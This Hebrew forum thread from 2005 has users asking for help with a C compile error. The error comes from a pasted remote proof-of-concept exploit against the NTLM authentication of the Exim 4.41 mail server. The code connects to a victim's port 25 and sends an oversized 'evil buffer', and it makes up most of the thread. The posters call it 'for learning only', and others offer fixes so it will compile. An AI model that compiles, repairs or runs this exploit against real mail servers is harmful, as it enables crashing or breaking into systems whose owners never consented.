נושאים פעיליםנושאים פעילים  הצגת רשימה של חברי הפורוםרשימת משתמשים  חיפוש בפורוםחיפוש  עזרהעזרה
  הרשמההרשמה  התחברותהתחברות RSS עדכונים
תיכנות
RSS UnderWarrior Forums : RSS תיכנות
נושא

נושא: איך מגדירים size של struct ב C?

שליחת תגובהשליחת נושא חדש
כותב
הודעה << נושא קודם | נושא הבא >>
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 07 April 2005 בשעה 23:41 | IP רשוּם
ציטוט ShadowBeast

איך מגדירים size של struct ב C?
פשוט עם []?
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 07 April 2005 בשעה 23:44 | IP רשוּם
ציטוט ניר

לא ברור מה אתה רוצה לעשות. אתה רוצה לגלות גודל של struct?
מה אתה מנסה לעשות?
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 07 April 2005 בשעה 23:54 | IP רשוּם
ציטוט ShadowBeast

קיבלתי שגיאה כזאת:
storage size of 'servaddr' isn't known
על השורה הזאת:
struct sockaddr_in servaddr;

אז מה לעשות?
אני צעד אחד מהגדולה!
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ore4444
משתמש פעיל
משתמש פעיל
סמל אישי

הצטרף / הצטרפה: 15 March 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 94
נשלח בתאריך: 14 April 2005 בשעה 10:09 | IP רשוּם
ציטוט ore4444

Bump

בבקשה תענו...

חזרה לתחילת העמוד הצג את כרטיס החבר של ore4444 חפש הודעות אחרות של ore4444
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 14 April 2005 בשעה 10:10 | IP רשוּם
ציטוט ניר

תסביר יותר את השאלה - אם השאלה היתה ברורה, היתה גם תשובה ברורה. לא נראה קשה לענות לכם - פשוט לא ברור מה אתם שואלים.
1. מה אתם מנסים לעשות? מה המטרה שלכם?
2. האם אפשר את קטע הקוד (כולל השורות מסביב לשורה הבעייתית) כדי להבין על מה מדובר?
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ore4444
משתמש פעיל
משתמש פעיל
סמל אישי

הצטרף / הצטרפה: 15 March 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 94
נשלח בתאריך: 14 April 2005 בשעה 13:59 | IP רשוּם
ציטוט ore4444

הסבר:

אני לומד C עם SHADOW BEAST ואנחנו מנסים לקמפל אקספלויט (לא למטרות אי חוקיות, אלא למטרות לימודיות בלבד).

זהו הקובץ:

קוד:

/*
 * Remote PoC code for vulnerability discovered by iDEFENSE in Exim 4.41 by pi3 (pi3ki31ny).
 *
 * http://pi3.int.pl
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>

static const char base64digits[] =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456 789+/";

#define BAD    -1
#define SA struct sockaddr

static const char base64val[] = {
  BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD,
    BAD,
  BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD,
    BAD,
  BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, 62, BAD, BAD, BAD,
    63,
  52, 53, 54, 55, 56, 57, 58, 59, 60, 61, BAD, BAD, BAD, BAD, BAD, BAD,
  BAD, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
  15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, BAD, BAD, BAD, BAD, BAD,
  BAD, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
  41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, BAD, BAD, BAD, BAD, BAD
};
#define DECODE64(c)  (isascii(c) ? base64val[c] : BAD)

void
spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
/* raw bytes in quasi-big-endian order to base 64 string (NUL-terminated) */
{
  for (; inlen >= 3; inlen -= 3)
    {
      *out++ = base64digits[in[0] >> 2];
      *out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
      *out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
      *out++ = base64digits[in[2] & 0x3f];
      in += 3;
    }
  if (inlen > 0)
    {
      unsigned char fragment;

      *out++ = base64digits[in[0] >> 2];
      fragment = (in[0] << 4) & 0x30;
      if (inlen > 1)
       fragment |= in[1] >> 4;
      *out++ = base64digits[fragment];
      *out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
      *out++ = '=';
    }
  *out = '\0';
}

void check(char *b,char *a) {
  
   char *tmp=NULL;
  
   if ( (tmp=strstr(b,a))==NULL) {
      printf("Error! Not NTLM login found in respone!\n");
      exit(-1);
   }
}

void wyjdz(char *arg) {
  
   printf("\n\n\t...::: -=[ Remote PoC exploit for Exim by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\t\tUssage:\n\t\t\t%s <victim>\n\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {

   int INADDR_ANY;
   int AF_INET;
   int sockfd,i=0;
   long inet;
   char buf[5000],tmp_buf[9096];

   struct sockaddr_in servaddr;
   struct hostent *h;
  
   (argv[1]==NULL) ? (wyjdz(argv[0])):1;
  
   printf("\n\n\t...::: -=[ Remote PoC exploit for Exim by pi3 (pi3ki31ny) ]=- :::...\n");
  
   if ( (h=gethostbyname((char*)argv[1])) == NULL) {
      printf("Gethostbyname() field!\n");
      exit(-1);
   }
   memcpy (&inet, h->h_addr, 4);
  
   servaddr.sin_family      = AF_INET;
   servaddr.sin_port        = htons(25);
   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  
   if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) {
      printf("Socket() error!\n");
      exit(-1);
   }
  
   if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
      printf("Connect() error!\n");
      exit(-1);
   }
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(-1);
   }
   printf("\n\t[*] Connected to: %s\n",argv[1]);
   write(sockfd,"EHLO p\n",7);
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(-1);
   }
   check(tmp_buf,"NTLM");
   write(sockfd,"AUTH NTLM\n",10);
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(-1);
   }
   check(tmp_buf,"334");
  
   printf("\t[*] OK! Athorization NTLM support...\n");
   for(i=0;i<4040;i++)
     spa_bits_to_base64(&buf,"A",1);
   write(sockfd,buf,strlen(buf));
   write(sockfd,"\n",1);
   printf("\t[*] Evil buffer sended!\n\n\n");
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0)
     printf("\t[*] Server is vulnerability!\n\n\n");
   else
     printf("\t[*] Server isn\'t vulnerability ;(\n\n\n");
   return 0;
}

בקטע הזה יש בעיה:

קוד:

int main(int argc, char *argv[]) {

   int INADDR_ANY;
   int AF_INET;
   int sockfd,i=0;
   long inet;
   char buf[5000],tmp_buf[9096];

   struct sockaddr_in servaddr;
   struct hostent *h;
  

בשורה:

קוד:

struct sockaddr_in servaddr;

הבעיה שהקומפיילר רושם היא: storage size of `servaddr' isn't known

איך אני פותר את הבעיה ומקמפל את הקובץ?

בתודה מראש, אור.

חזרה לתחילת העמוד הצג את כרטיס החבר של ore4444 חפש הודעות אחרות של ore4444
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 14 April 2005 בשעה 18:43 | IP רשוּם
ציטוט ניר

זה נראה קוד של לינוקס. על לינוקס אתם מקמפלים את זה?

אממ. הקובץ socket.h אצלכם - יש לו את ההגדרה של ה-struct?
מה לגבי להפוך את ה-struct למצביע? (ואז להקצות זכרון עם sizeof)?

כל אלו סתם זריקות. מחר אני אסתכל יותר בדיוק ואני אנסה להריץ את זה.

חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ore4444
משתמש פעיל
משתמש פעיל
סמל אישי

הצטרף / הצטרפה: 15 March 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 94
נשלח בתאריך: 15 April 2005 בשעה 10:13 | IP רשוּם
ציטוט ore4444

UnderWarrior כתב:

אממ. הקובץ socket.h אצלכם - יש לו את ההגדרה של ה-struct?
מה לגבי להפוך את ה-struct למצביע? (ואז להקצות זכרון עם sizeof)?



איך בדיוק עושים את זה?
חזרה לתחילת העמוד הצג את כרטיס החבר של ore4444 חפש הודעות אחרות של ore4444
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 19 April 2005 בשעה 21:24 | IP רשוּם
ציטוט ShadowBeast

ore4444 כתב:
UnderWarrior כתב:

אממ. הקובץ socket.h אצלכם - יש לו את ההגדרה של ה-struct?
מה לגבי להפוך את ה-struct למצביע? (ואז להקצות זכרון עם sizeof)?



איך בדיוק עושים את זה?

אני יודע איך(במעורפל) תלמד את זה מהאתר שהבאתי בנעוץ
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 20 April 2005 בשעה 11:21 | IP רשוּם
ציטוט ניר

נעוץ למעלה עד שנטפל בשאלה  לא שוכח לענות לכם
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
Cypher
אורח
אורח


הצטרף / הצטרפה: 01 October 2003
משתמש: אונליין
הודעות: 12647
נשלח בתאריך: 25 April 2005 בשעה 12:59 | IP רשוּם
ציטוט Cypher

אם לא מקמפלים משהו כזה על לינוקס מין הסתם אין לכם את הספריות ולכן כנראה הקבוע לא מוגדר אלכם בתוכנית...
חזרה לתחילת העמוד הצג את כרטיס החבר של Cypher חפש הודעות אחרות של Cypher בקר בדף הבית של Cypher
 
ore4444
משתמש פעיל
משתמש פעיל
סמל אישי

הצטרף / הצטרפה: 15 March 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 94
נשלח בתאריך: 27 April 2005 בשעה 17:32 | IP רשוּם
ציטוט ore4444

תודה רבה לכולם על התשובות

וחג שמח

חזרה לתחילת העמוד הצג את כרטיס החבר של ore4444 חפש הודעות אחרות של ore4444
 

אם ברצונך להגיב לנושא זה עליך קודם להתחבר
אם אינך רשום/ה כבר עליך להרשם

  שליחת תגובהשליחת נושא חדש
גרסת הדפסה גרסת הדפסה

קפיצה לפורום
אינך יכול/ה לשלוח נושאים חדשים בפורום זה
אינך יכול/ה להגיב לנושאים בפורום זה
אינך יכול/ה למחוק את הודעותיך ותגוביך בפורום זה
אינך יכול/ה לערוך את הודעותיך ותגובותיך בפורום זה
אינך יכול/ה לצור סקרים בפורום זה
אינך יכול/ה להצביע בסקרים בפורום זה